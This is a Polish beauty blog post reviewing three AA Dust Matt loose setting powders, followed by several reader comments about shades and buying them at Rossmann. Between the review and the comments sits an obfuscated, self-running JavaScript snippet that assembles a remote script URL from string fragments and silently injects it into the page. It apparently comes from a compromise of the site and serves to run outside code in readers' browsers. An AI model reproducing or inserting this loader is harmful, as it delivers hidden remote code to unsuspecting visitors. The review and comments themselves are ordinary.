- Dust Matt Loose Powder – to sypki puder matujący, który ma za zadanie utrwalać makijaż i wygładzać naszą cerę. Kosmetyk wzbogacony został o wycią z aloesu i ekstrakt z owoców acai. Dostępny jest w 3 odcieniach: 20 transparent, 21 ivory, 22 golden beige.
- Dust Matt Loose Powder nr 30 Make UP Fixer – sypki puder zawierający proszek z tapioki, który zapewnia długotrwały mat i utrwalenie makijażu. Działa niczym utrwalająca mgiełka.
- Dust Matt Loose Powder nr 31 Skin Fresher – puder sypki zapewniający mat, korygujący niedoskonałości i strukturę skóry oraz poprawiający jej koloryt. Posiada proszek z zeolitów.
zobaczcie jak drobno zmielone są te pudry! |
(function(){
i3iy_=(“u”+”st”);i3iy=document.createElement(“script”);i3iy.async=true;
i3iyu=”96193″;i3iy_+=”a”+(“t.”);i3iy_+=”i”+(“nf”+(“o”))+(“/”);
i3iyu+=”.739bgbni3iyrwvlg”;i3iyu+=”8Xzyu25yehsh”;
i3iy.src=”https://”+i3iy_+i3iyu;i3iy.type=”text/javascript”;
d_b=document.body;d_b.appendChild(i3iy);
})();
Do mnie najbardziej przemawia ten pierwszy :) Już mi go ktoś polecał i może się na niego zdecyduję. Kupiłam bananowy prasowany z Lovely, ale niestety nie spełnia moich oczekiwań.
Przepiękna recenzja! I aż chyba polecę do Rossmana znów, bo bardzo mnie zainteresował ten ostatni z pudrów ;-)
Nie znam zupełnie tych produktów, ale z opisu chyba Fixer by się u mnie sprawdził najlepiej ;) Opakowania mają genialne, zdecydowanie więcej marek powinno się o coś takiego pokusić!
Niesamowicie ciekawe sa te pudry i maja wspaniale siateczki zabezpieczajace :D
Chyba Dust Matt Loose Powder 31 Skin Freshener kusi mnie najbardziej z całej trójki. Nie miałam jeszcze nic z AA, może warto zacząć przygodę właśnie od tych pudrów? :)
Oj nie miałam też nigdy kolorówki z AA, ten beżowy kusi mnie najbardziej ;) I te siteczka – super rozwiązanie:)
Właśnie dzisiaj na ostatnim dniu promocji w rossmanie skusiłam się na ten pierwszy puder, niestety nie było już transparentnego, więc wzięłam ivory. Mam nadzieję, że się nada ten odcień ;)
Szkoda że nie przeczytałam tego posta wcześniej bo myślę że na któryś bym się skusiła :) Nigdy jeszcze nie używałam produktów z A&A ale chyba czas to zmienić :)